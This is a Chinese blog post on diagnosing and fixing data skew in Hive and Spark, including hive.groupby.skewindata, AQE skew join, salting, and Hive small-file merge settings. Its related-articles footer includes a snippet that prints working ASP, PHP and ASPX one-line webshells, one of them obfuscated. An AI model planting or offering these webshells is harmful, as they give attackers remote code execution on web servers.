数仓中的数据倾斜问题

-  如何来判断是否发生了数据倾斜问题:

可以根据Spark 的webUI 中的相关指标来判断 

spark webUI中的stages 页面的中就是stage数量 : 宽依赖数(shuffle 数量)导致宽依赖的算子数 +n(读取表的数量)

点击不同的stage 可以跳转到对应的task中的

查看每一个task的执行时间如何有明显的和其他的task的执行时间相差很大,以及一个查询任务一致卡在某个点跑了很久都没出结果就是数据倾斜了

数据倾斜的场景: 一个key对应了多个值 的情况

解决1设置配置:

set hive.groupby.skewindata=true

它使得计算变为了二个mr的过程

  • 第一次mr第一个shuffle过程中partition时随机给key 进行标记, 使每一个key随机均匀分布到各个reduce 中去计算(预shuffle)

目的是为了将一个key对应很多值的情况解决掉

  • 第二次mr做正常的shuffle

    数据分布不均匀的问题再第一次mr中已经有很大的改善了

解决2: 

1. AQE Skewedjoin  

2. 广播join  加随机数打散

解决3:

hive中的小文件存储过多的危害

  • 在计算时会对 每一个小文件启动一个map , 很影响计算的性能, 以及磁盘的寻址时间

多个小文件情况处理:

set hive.input.format=org.apache.hadoop.hive.ql.io.CombineHiveInputFormat;-- 再map执行前合并小文件,减少map的数量set hive.merge.mapfiles=true; 
-- 在map-only 任务结束后合并小文件, 该参数的默认值也是true set hive.merge.mapredfiles=true;-- mr 任务结束后合并小文件,默认为false set hive.merge.size.per.task=268435456;单位byte  -- 设置合并文件的大小set hive.merge.smallfiles.avgsize=1677216;单位字节  -- 当输出的文件平均大小 -> 小于我们设定的阈值时,程序就会单独启动一个独立的reduce task 进行文件的merge 	

顺便简单说一下广播变量的目的: 就是让集群的消耗降到最低

且其中的每一个executor 中有一个blockmanager (区块管理器)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/824747.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android 12 如何加载 native 原生库

在 Android 7.0 及更高版本中,系统库与应用库是分开的。 图1. 原生库的命名空间 原生库的命名空间可防止应用使用私有平台的原生 API(例如使用 OpenSSL)。该命名空间还可以避免应用意外使用平台库(而非它们自己的库)的…

ES源码四:网络通信层流程

听说ES网络层很难?今天来卷它😄 前言 ES网络层比较复杂,分为两个部分: 基于HTTP协议的REST服务端基于TCP实现的PRC框架 插件化设计的网络层模块(NetworkModule) 入口还是上一章的创建Node构造方法的地方…

mysqlslap压力测试和线程池

目录 1. mysqlslap介绍 2. mysqlslap常用参数 3. 开始测试 3.1 单线程 3.2 多线程 3.3 50和100个并发 3.4 迭代测试 4.结果解释 5.线程池 5.1 开启线程池 5.2 关于线程池的参数 1. mysqlslap介绍 mysqlslap是一个诊断程序,旨在模拟客户端并发访问MySQ…

【MySQL 安装与配置】Window简单安装MySQL,并配置局域网连接

文章日期:2024.04.17 系统:Window10 || Window11 类型:安装与配置MySQL数据库 文章全程已做去敏处理!!! 【需要做的可联系我】 AES解密处理(直接解密即可)(crypto-js.js…

系统稳定性建设

说到系统稳定性,不知道大家会想起什么?大多数人会觉得这个词挺虚的,不知道系统稳定性指的是什么。 一年前看到这个词,也是类似于这样的感受,大概只知道要消除单点、做好监控报警,但却并没有一个体系化的方…

一句话木马

asp一句话木马&#xff1a; <%execute(request("value"))%> php一句话木马&#xff1a; <?phpeval($_POST[value]);?> 变形&#xff1a;<?php$x$_GET[‘z’];eval(“$x;”);?> aspx一句话木马&#xff1a; <% PageLanguage"Jscri…

记录一下我102连不上MySQL的问题 NotBefore

【背景描述】我在102上是能登录上MySQL的&#xff0c;但是用客户端&#xff08;DataGrip、SQLyog就连不上&#xff09; 【解决方案】 加个这个?useSSLfalse&serverTimezoneUTC 【另外的小问题】如果直接输mysql 上面这个不是报错&#xff0c;不用管 再输mysql -uroot -p…

Golang学习笔记_RabbitMQ的原理架构和使用

RabbitMQ 简介 实现了高级消息队列协议&#xff08;Advanced Message Queuing Protcol&#xff09;AMQP消息队列中间件的作用&#xff08;Redis实现MQ里面有写过&#xff0c;这里简单带过&#xff09; 解耦削峰异步处理缓存消息通信提高扩展性 RabbitMQ 架构理解 #mermaid-s…

upload-labs靶场详解

靶场环境 下载链接&#xff1a;https://codeload.github.com/c0ny1/upload-labs/zip/refs/heads/master 使用小皮集成环境来完成这个靶场 将文件放到WWW目录下就可以进行访问 进入关卡后页面呈现&#xff1a; Pass-01&#xff08;前端绕过&#xff09; 我们先尝试上传一个web.…

[svelte]属性和逻辑块

属性 / Default values • Svelte 教程 | Svelte 中文网 属性 Declaring props 到目前为止&#xff0c;我们只处理了内部状态——也就是说&#xff0c;这些值只能在给定的组件中访问。 在任何实际应用程序中&#xff0c;都需要将数据从一个组件向下传递到其子组件。为此&…

【Spring】-编程式事务和声明式事务

spring中控制事务的方式有两种&#xff1a;编程式事务和声明式事务&#xff0c;今天我以两种事务出发&#xff0c;对spring中实现事务的EnableTransactionManagement和Transaction两个注解的底层原理进行讨论。 一、编程式事务 什么是编程式事务&#xff1f; 硬编码的方式实现…

Adobe将Sora、Runway、Pika,集成在PR中

4月15日晚&#xff0c;全球多媒体巨头Adobe在官网宣布&#xff0c;将OpenAI的Sora、Pika 、Runway等著名第三方文生视频模型&#xff0c;集成在视频剪辑软件Premiere Pro中&#xff08;简称“PR”&#xff09;。 同时&#xff0c;Adob也会将自身研发的Firefly系列模型包括视频…

【Python】高级进阶(专版提升3)

Python 1 程序结构1.1 模块 Module1.1.1 定义1.1.2 作用1.1.3 导入1.1.3.1 import1.1.3.2 from import 1.1.4 模块变量1.1.5 加载过程1.1.6 分类 1.2 包package1.2.1 定义1.2.2 作用1.2.3 导入1.1.3.1 import1.1.3.2 from import 2 异常处理Error2.1 异常2.2 处理 3 迭代3.1 可…

InfluxDB v1.8

数据存储模型 points(数据点)time(时间戳)measurement(测量指标)field(测量值 key-value)至少一个tag(标签 key-value)零或多个和MySQL对比 series是共享同一个retention policy,measurement以及tag set的数据集合 InfluxDBMySQLmeasurementtablepointscoltagrow(with index)…

Three.js 入门——核心概念和坐标系理解

Three.js 是什么&#xff1f; 一个封装了 WebGL 的库&#xff0c;简化 WebGL 的使用 WebGL vs OpenGL OpenGL 主要被认为是一种 API&#xff08;应用程序编程接口&#xff09;&#xff0c;它为我们提供了大量可用于操作图形和图像的函数&#xff0c;主要用 C语言编写的。 然…

python辅助QQ登入

python辅助QQ登入 import pyautogui import time import random from pyautogui import ImageNotFoundException# 生成随机等待时间&#xff0c;范围在1到3秒之间 random_time random.uniform(1, 3)def find_and_click(image_path, moveFalse, execute_nextTrue):try:image_l…

【QT学习】7.事件,把文本显示在页面中(文本可变),鼠标指针切换,鼠标左键右键按下,qt设置背景样式

0.创建项目&#xff0c;事件的创建 1.事件的位置 2.这就是多态&#xff0c;子类重写父类函数&#xff0c;子类调用子类函数&#xff0c;也可以调用父类函数。但同函数名 1.要求&#xff1a;文本显示在页面中&#xff08;文本可变&#xff09; 1.文本显示在页面的核心代码 主要步…

vue3通过事件总线不同组件之间传递消息(两个组件可以没有任何关系)

首先在main.js中定义 const app createApp(App) app.config.globalProperties.$eventBus new mitt() // 创建全局事件总线对象然后在发送事件的组件中写&#xff08;js和ts导入方式不太一样&#xff0c;用法一样&#xff09; <script setup> import {getCurrentInsta…

DRF requets源码分析

【四】requets源码分析 【1】查看request传递的数据 &#xff08;1&#xff09;视图层 编写传输数据的接口查看request方法的参数 class BookAPIView(APIView):def get(self, request, *args, **kwargs):return Response({body: request.body, data: request.data, post: r…

【Web】DASCTF X GFCTF 2022十月挑战赛题解

目录 EasyPOP hade_waibo EasyLove BlogSystem EasyPOP 先读hint.php sorry.__destruct -> secret_code::secret() exp: $anew sorry(); $bnew secret_code(); $a->password"suibian"; $a->name"jay"; echo serialize($a); 真暗号啊&…